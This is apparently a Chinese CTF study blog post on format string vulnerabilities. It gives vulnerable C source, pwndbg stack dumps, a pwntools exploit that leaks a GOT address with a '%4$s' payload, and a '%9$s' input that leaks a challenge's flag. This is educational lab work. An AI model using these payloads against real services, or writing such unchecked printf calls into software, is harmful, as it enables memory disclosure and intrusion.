Fork me on GitHub

格式化字符串分析

格式化字符串

这个题目是ctfwiki上的

c代码如下:

1
2
3
4
5
6
7
8
9
#include <stdio.h>
int main() {
char s[100];
int a = 1, b = 0x22222222, c = -1;
scanf("%s", s);
printf("%08x.%08x.%08x.%s\n", a, b, c, s);
printf(s);
return 0;
}

(突然发现腾讯文档居然还支持代码好强啊

我们编译一下:

1
gcc -m32 -fno-stack-protector -no-pie -o leakMemory  leakMemory.c -g

把保护措施都关掉了

1
2
3
4
5
6
7
 % checksec leakMemory   
[*] '/home/abc/Desktop/pwn/leakMemory/leakMemory'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

先看一下几个payload

1
2
3
4
5
6
7
8
pwndbg> b printf
Breakpoint 1 at 0x8048330
pwndbg> r
Starting program: /home/abc/Desktop/pwn/leakMemory/leakMemory
%08x.%08x.%08x

Breakpoint 1, __printf (format=0x8048593 "%08x.%08x.%08x.%s\n") at printf.c:28
28printf.c: No such file or directory.

在printf处下断点
此时栈上的布局如下

1
2
3
4
5
6
00:0000│ esp  0xffffcf9c —▸ 0x80484ea (main+100) ◂— add    esp, 0x20
01:00040xffffcfa0 —▸ 0x8048593 ◂— and eax, 0x2e783830 /* '%08x.%08x.%08x.%s\n' */
02:00080xffffcfa4 ◂— 0x1
03:000c│ 0xffffcfa8 ◂— 0x22222222 ('""""')
04:00100xffffcfac ◂— 0xffffffff
05:0014│ 0xffffcfb0 —▸ 0xffffcfc0 ◂— '%08x.%08x.%08x'

continue一下:

1
2
3
4
5
6
pwndbg> c
Continuing.
00000001.22222222.ffffffff.%08x.%08x.%08x

Breakpoint 1, __printf (format=0xffffcfc0 "%08x.%08x.%08x") at printf.c:28
28in printf.c

输出了信息的同时, 命中第二个断点

此时栈上的布局如下:

1
2
3
4
5
6
7
8
00:0000│ esp  0xffffcfac —▸ 0x80484f9 (main+115) ◂— add    esp, 0x10
01:0004│ 0xffffcfb0 —▸ 0xffffcfc0 ◂— '%08x.%08x.%08x'
... ↓
03:000c│ 0xffffcfb8 —▸ 0xf7fcf410 —▸ 0x8048278 ◂— inc edi /* 'GLIBC_2.0' */
04:00100xffffcfbc —▸ 0x804849d (main+23) ◂— add ebx, 0x1b63
05:0014│ eax 0xffffcfc0 ◂— '%08x.%08x.%08x'
06:0018│ 0xffffcfc4 ◂— '.%08x.%08x'
07:001c│ 0xffffcfc8 ◂— 'x.%08x'

此时printf函数会把格式化字符串之后的栈上的信息当作参数打印出来:
contiue一下

1
2
3
pwndbg> c
Continuing.
ffffcfc0.f7fcf410.0804849d[Inferior 1 (process 4975) exited normally]

之前栈上的信息显示的不全,栈的内存如下:

1
2
3
4
5
6
pwndbg> x/20x 0xffffcfb0
0xffffcfb0:0xffffcfc0 0xffffcfc0 0xf7fcf410 0x0804849d
0xffffcfc0:0x78383025 0x3830252e 0x30252e78 0x00007838
0xffffcfd0:0x00000000 0x00c30000 0x00000000 0xf7ffd000
0xffffcfe0:0x00000000 0x00000000 0x00000000 0x6f984f00
0xffffcff0:0x00000009 0xffffd2a4 0xf7e094a9 0xf7fb4748

0xffffcfb0 是格式化字符串的地址, 我们看到此时printf函数将0xffffcfc0 0xf7fcf410 0x0804849d
都打印出来了, 也就是格式化字符串之后的三个位置的信息

我们通过这种方式泄露栈的信息,但是也可以直接去取得栈中被视为第n+1个参数的值
至于为什么是第n+1, 这是因为格式化字符串是第一个参数

比如 通过 %3\$x(这个的原理是啥?为什么要加\$符号) 我们可以泄露栈上被视为第4个参数的值

栈布局如下:(左边的一列是栈地址,也就是内存的地址,箭头代表了这个内存单元存储的数据,如果是指针还会进一步指示)

1
2
3
4
5
6
7
8
00:0000│ esp  0xffffcfac —▸ 0x80484f9 (main+115) ◂— add    esp, 0x10
01:0004│ 0xffffcfb0 —▸ 0xffffcfc0 ◂— '%3$x'
... ↓(这里是省略号,是不是就是直接指向了,中间那个就被跳过了)
03:000c│ 0xffffcfb8 —▸ 0xf7fcf410 —▸ 0x8048278 ◂— inc edi /* 'GLIBC_2.0' */
04:00100xffffcfbc —▸ 0x804849d (main+23) ◂— add ebx, 0x1b63
05:0014│ eax 0xffffcfc0 ◂— '%3$x'
06:00180xffffcfc4 ◂— 0x0
07:001c│ 0xffffcfc8 —▸ 0xf7ffd940 ◂— 0x0

同样看不清, 还是直接打印内存信息吧(x命令的用法,这里显示的是内存地址从0xffffcfb0开始的,因为内存是按照字节编址的,所以一行正好是16个字节内存地址就是加10)

1
2
3
4
5
6
pwndbg> x/20x 0xffffcfb0
0xffffcfb0:0xffffcfc0 0xffffcfc0 0xf7fcf410 0x0804849d (0xffffcfb0这个内存单元指向了0xffffcfc0)
0xffffcfc0:0x78243325 0x00000000 0xf7ffd940 0x000000c2 (看内存单元0xffffcfc0存放的内容就是x$3%)
0xffffcfd0:0x00000000 0x00c30000 0x00000000 0xf7ffd000
0xffffcfe0:0x00000000 0x00000000 0x00000000 0xd6a57700
0xffffcff0:0x00000009 0xffffd2a4 0xf7e094a9 0xf7fb4748

猜猜这时候打印的信息是啥?
答案是栈上被视为第四个参数的信息: 0x0804849d

同样的我们还可以通过%s来得到字符串的信息

栈布局如下:

1
2
3
4
5
6
7
8
00:0000│ esp  0xffffcfac —▸ 0x80484f9 (main+115) ◂— add    esp, 0x10
01:00040xffffcfb0 —▸ 0xffffcfc0 ◂— 0x7325 /* '%s' */
... ↓
03:000c│ 0xffffcfb8 —▸ 0xf7fcf410 —▸ 0x8048278 ◂— inc edi /* 'GLIBC_2.0' */
04:00100xffffcfbc —▸ 0x804849d (main+23) ◂— add ebx, 0x1b63
05:0014│ eax 0xffffcfc0 ◂— 0x7325 /* '%s' */
06:00180xffffcfc4 ◂— 0x1
07:001c│ 0xffffcfc8 —▸ 0xf7ffd940 ◂— 0x0

还是看不清,直接看内存吧(md 垃圾pwndbg)

1
2
3
4
5
6
pwndbg> x/20x 0xffffcfb0
0xffffcfb0:0xffffcfc0 0xffffcfc0 0xf7fcf410 0x0804849d
0xffffcfc0:0x00007325 0x00000001 0xf7ffd940 0x000000c2
0xffffcfd0:0x00000000 0x00c30000 0x00000000 0xf7ffd000
0xffffcfe0:0x00000000 0x00000000 0x00000000 0xf1ae2900
0xffffcff0:0x00000009 0xffffd2a4 0xf7e094a9 0xf7fb4748

这个时候会直接将 0xffffcfc0 对应的字符串打印出来
结果自然就是 %s了

如果我们输入%2$s, 这个时候就很有趣了, 按照道理程序会将 0xf7fcf410 对应地址的当作字符串打印出来, 可是如果这个地址无效呢?
我自己尝试的结果是直接退出了,什么都没有打印出来emm

这时候如果我们指定一个合法的地址, 比如got表中某个函数的地址这就很神奇了

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
import time
sh = process('./leakMemory')

context.log_level = 'debug'
leakmemory = ELF('./leakMemory')

__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']

print hex(__isoc99_scanf_got)

payload = p32(__isoc99_scanf_got) + '%4$s'

print payload

payload1 = '%4$s' #这两个payload是自己测试的
payload2 = 'AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p'
gdb.attach(sh)
#time.sleep(1)
sh.sendline(payload)
sh.recvuntil('%4$s\n')
#print sh.recvuntil('%4$s\n')
#print '\n'

print hex(u32(sh.recv()[4:8])) # remove the first bytes of __isoc99_scanf@got

sh.interactive()

我们运行这个exp
在pwndbg中下断点

运行到第二个printf的时候

1
2
3
4
5
6
7
8
9
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ esp 0xffa3bdfc —▸ 0x80484f9 (main+115) ◂— add esp, 0x10
01:00040xffa3be00 —▸ 0xffa3be10 —▸ 0x804a014 (_GLOBAL_OFFSET_TABLE_+20) —▸ 0xf7df2bb0 (__isoc99_scanf) ◂— push ebp
... ↓
03:000c│ 0xffa3be08 —▸ 0xf7f85410 —▸ 0x8048278 ◂— inc edi /* 'GLIBC_2.0' */
04:00100xffa3be0c —▸ 0x804849d (main+23) ◂— add ebx, 0x1b63
05:0014│ eax 0xffa3be10 —▸ 0x804a014 (_GLOBAL_OFFSET_TABLE_+20) —▸ 0xf7df2bb0 (__isoc99_scanf) ◂— push ebp
06:0018│ 0xffa3be14 ◂— '%4$s'
07:001c│ 0xffa3be18 —▸ 0xf7fb3900 (catch_hook) ◂— 0x0

另一边

1
2
3
4
5
6
7
8
9
[+] Waiting for debugger: Done
[DEBUG] Sent 0x9 bytes:
00000000 14 a0 04 08 25 34 24 73 0a │····│%4$s│·│
00000009
[DEBUG] Received 0x24 bytes:
00000000 30 30 30 30 30 30 30 31 2e 32 32 32 32 32 32 3200000001.2222222
00000010 32 2e 66 66 66 66 66 66 66 66 2e 14 a0 04 08 252.ff│ffff│ff.·│···%│
00000020 34 24 73 0a │4$s·││
00000024

continue

1
2
3
4
5
6
7
[DEBUG] Received 0x8 bytes:
00000000 14 a0 04 08 b0 2b df f7 │····│·+··││
00000008
0xf7df2bb0
[*] Switching to interactive mode
[*] Process './leakMemory' stopped with exit code 0 (pid 5064)
[*] Got EOF while reading in interactive

这个时候我们就得到了scanf函数的地址了
ok 还有几个地方没弄明白之后再写

确定可控制格式化字符串位置的方法

既然程序是有漏洞的,我们就必须知道可被控制的格式化字符串的位置,这时候大致有以下几种姿势

  1. 构造类似 [tag]%p%p%p%p%p%p...这样的参数
  2. Pwngdb中有一个叫做fmarg可以用来获取指定地址到底是第几个参数

不是很理解第一种方法原理,但是第二种方法比较好用

不过我们可以来看一个例子:

IDA中的C代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+3h] [rbp-3Dh]
signed int i; // [rsp+4h] [rbp-3Ch]
signed int j; // [rsp+4h] [rbp-3Ch]
char *format; // [rsp+8h] [rbp-38h]
_IO_FILE *fp; // [rsp+10h] [rbp-30h]
char *v9; // [rsp+18h] [rbp-28h]
char v10[24]; // [rsp+20h] [rbp-20h]
unsigned __int64 v11; // [rsp+38h] [rbp-8h]

v11 = __readfsqword(0x28u);
fp = fopen("flag.txt", "r");
for ( i = 0; i <= 21; ++i )
v10[i] = _IO_getc(fp);
fclose(fp);
v9 = v10;
puts("what's the flag");
fflush(_bss_start);
format = 0LL;
__isoc99_scanf("%ms", &format);
for ( j = 0; j <= 21; ++j )
{
v4 = format[j];
if ( !v4 || v10[j] != v4 )
{
puts("You answered:");
printf(format);
puts("\nBut that was totally wrong lol get rekt");
fflush(_bss_start);
return 0;
}
}
printf("That's right, the flag is %s\n", v9);
fflush(_bss_start);
return 0;
}

显然的格式化字符串漏洞

我们需要在printf函数处下断点

然后随便输入一些数字:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[-------------------------------------code-------------------------------------]
0x7ffff7a48e6c <__fprintf+172>:
call 0x7ffff7b18c80 <__stack_chk_fail>
0x7ffff7a48e71: nop WORD PTR cs:[rax+rax*1+0x0]
0x7ffff7a48e7b: nop DWORD PTR [rax+rax*1+0x0]
=> 0x7ffff7a48e80 <__printf>: sub rsp,0xd8
0x7ffff7a48e87 <__printf+7>: test al,al
0x7ffff7a48e89 <__printf+9>: mov QWORD PTR [rsp+0x28],rsi
0x7ffff7a48e8e <__printf+14>: mov QWORD PTR [rsp+0x30],rdx
0x7ffff7a48e93 <__printf+19>: mov QWORD PTR [rsp+0x38],rcx
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde08 --> 0x400890 (<main+234>: mov edi,0x4009b8)
0008| 0x7fffffffde10 --> 0x61000001
0016| 0x7fffffffde18 --> 0x602cb0 ('a' <repeats 16 times>)
0024| 0x7fffffffde20 --> 0x602260 --> 0x0
0032| 0x7fffffffde28 --> 0x7fffffffde30 ("flag{", '1' <repeats 12 times>, "}\n\377\377\377")
0040| 0x7fffffffde30 ("flag{", '1' <repeats 12 times>, "}\n\377\377\377")
0048| 0x7fffffffde38 ("111111111}\n\377\377\377")
0056| 0x7fffffffde40 --> 0xffffff0a7d31
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, __printf (format=0x602cb0 'a' <repeats 16 times>) at printf.c:28
28 printf.c: No such file or directory.

这时候可以看到flag了,注意我们是在本地调试,调试的时候当然可以看到flag,一般的pwn题都是要远程连接的

如果我们要泄露flag的值,就需要构造%n$s这样的传进去。所以获取参数的位置很关键

1
2
gdb-peda$ fmtarg 0x7fffffffde28
The index of format argument : 10 ("\%9$p")

通过Pwngdb就可以查看参数的位置了

这时候运行

1
2
3
4
5
6
7
8
abc@ubuntu ~/Desktop/pwnEaxmple/zifuchuan
% ./goodluck
what's the flag
%9$s
You answered:
flag{111111111111}
���
But that was totally wrong lol get rekt

就得到了flag

(这里值得注意的就是,64位系统和32位系统传参是不一样的)